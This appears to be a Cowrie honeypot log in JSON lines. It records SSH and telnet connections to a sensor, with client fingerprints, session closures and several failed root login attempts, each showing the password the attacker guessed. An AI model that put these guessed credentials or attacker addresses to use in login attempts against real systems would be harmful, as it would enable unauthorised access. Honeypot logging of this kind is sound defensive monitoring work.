{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":36252,"dst_ip":"159.203.135.109","dst_port":22,"session":"43a61b0296da","protocol":"ssh","message":"New connection: 182.253.156.184:36252 (159.203.135.109:22) [session: 43a61b0296da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:23.759102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:23.765050Z","src_ip":"182.253.156.184","session":"43a61b0296da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:24.012263Z","src_ip":"182.253.156.184","session":"43a61b0296da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:25.018413Z","src_ip":"182.253.156.184","session":"43a61b0296da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:26.264917Z","src_ip":"182.253.156.184","session":"43a61b0296da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.45.154.158","src_port":60514,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c5a0cdd3e1f","protocol":"ssh","message":"New connection: 199.45.154.158:60514 (159.203.135.109:22) [session: 0c5a0cdd3e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:30.259136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:30.704089Z","src_ip":"199.45.154.158","session":"0c5a0cdd3e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:30.708137Z","src_ip":"199.45.154.158","session":"0c5a0cdd3e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00104856491089,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:33.246894Z","src_ip":"79.139.59.21","session":"d146a29773e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":105.76460480690002,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:43.860995Z","src_ip":"165.22.57.101","session":"ad5c44c0bc85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:45.858314Z","src_ip":"199.45.154.158","session":"0c5a0cdd3e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":58996,"dst_ip":"159.203.135.109","dst_port":22,"session":"c614ae11a793","protocol":"ssh","message":"New connection: 103.149.28.157:58996 (159.203.135.109:22) [session: c614ae11a793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:38:25.285776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:38:25.290512Z","src_ip":"103.149.28.157","session":"c614ae11a793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:38:25.540606Z","src_ip":"103.149.28.157","session":"c614ae11a793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12021988","message":"login attempt [root/12021988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:38:26.292866Z","src_ip":"103.149.28.157","session":"c614ae11a793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:38:27.545437Z","src_ip":"103.149.28.157","session":"c614ae11a793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":38262,"dst_ip":"159.203.135.109","dst_port":22,"session":"e73d140ab837","protocol":"ssh","message":"New connection: 182.253.156.184:38262 (159.203.135.109:22) [session: e73d140ab837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:07.985858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:07.991076Z","src_ip":"182.253.156.184","session":"e73d140ab837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:08.245905Z","src_ip":"182.253.156.184","session":"e73d140ab837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pf123456","message":"login attempt [root/pf123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:09.273429Z","src_ip":"182.253.156.184","session":"e73d140ab837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:10.525149Z","src_ip":"182.253.156.184","session":"e73d140ab837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.111","src_port":44107,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a017f4e257d","protocol":"ssh","message":"New connection: 45.79.207.111:44107 (159.203.135.109:22) [session: 7a017f4e257d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:22.243212Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:32.237946Z","src_ip":"45.79.207.111","session":"7a017f4e257d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42910,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b9e9895244e","protocol":"ssh","message":"New connection: 147.45.211.215:42910 (10.17.0.5:22) [session: 4b9e9895244e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:48.013192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:48.018235Z","src_ip":"147.45.211.215","session":"4b9e9895244e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:48.195186Z","src_ip":"147.45.211.215","session":"4b9e9895244e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07061985nina","message":"login attempt [root/07061985nina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:48.734861Z","src_ip":"147.45.211.215","session":"4b9e9895244e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:49.914645Z","src_ip":"147.45.211.215","session":"4b9e9895244e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40596,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c47f60f101e","protocol":"ssh","message":"New connection: 38.93.206.2:40596 (159.203.135.109:22) [session: 2c47f60f101e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:51.056234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:51.060401Z","src_ip":"38.93.206.2","session":"2c47f60f101e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:51.110347Z","src_ip":"38.93.206.2","session":"2c47f60f101e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1992","message":"login attempt [root/anna1992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:51.263535Z","src_ip":"38.93.206.2","session":"2c47f60f101e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:39:52.317103Z","src_ip":"38.93.206.2","session":"2c47f60f101e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":40256,"dst_ip":"159.203.135.109","dst_port":22,"session":"953de8d2ef8e","protocol":"ssh","message":"New connection: 182.253.156.184:40256 (159.203.135.109:22) [session: 953de8d2ef8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:40:44.156752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:40:44.161907Z","src_ip":"182.253.156.184","session":"953de8d2ef8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:40:44.408597Z","src_ip":"182.253.156.184","session":"953de8d2ef8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123ASD","message":"login attempt [root/asd123ASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:40:45.430973Z","src_ip":"182.253.156.184","session":"953de8d2ef8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:40:46.681630Z","src_ip":"182.253.156.184","session":"953de8d2ef8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36438,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6f53d60d6bb","protocol":"ssh","message":"New connection: 103.176.20.57:36438 (159.203.135.109:22) [session: c6f53d60d6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:31.753948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:31.758799Z","src_ip":"103.176.20.57","session":"c6f53d60d6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:32.021603Z","src_ip":"103.176.20.57","session":"c6f53d60d6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:32.802828Z","src_ip":"103.176.20.57","session":"c6f53d60d6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:41:34.067259Z","src_ip":"103.176.20.57","session":"c6f53d60d6bb","protocol":"ssh"}
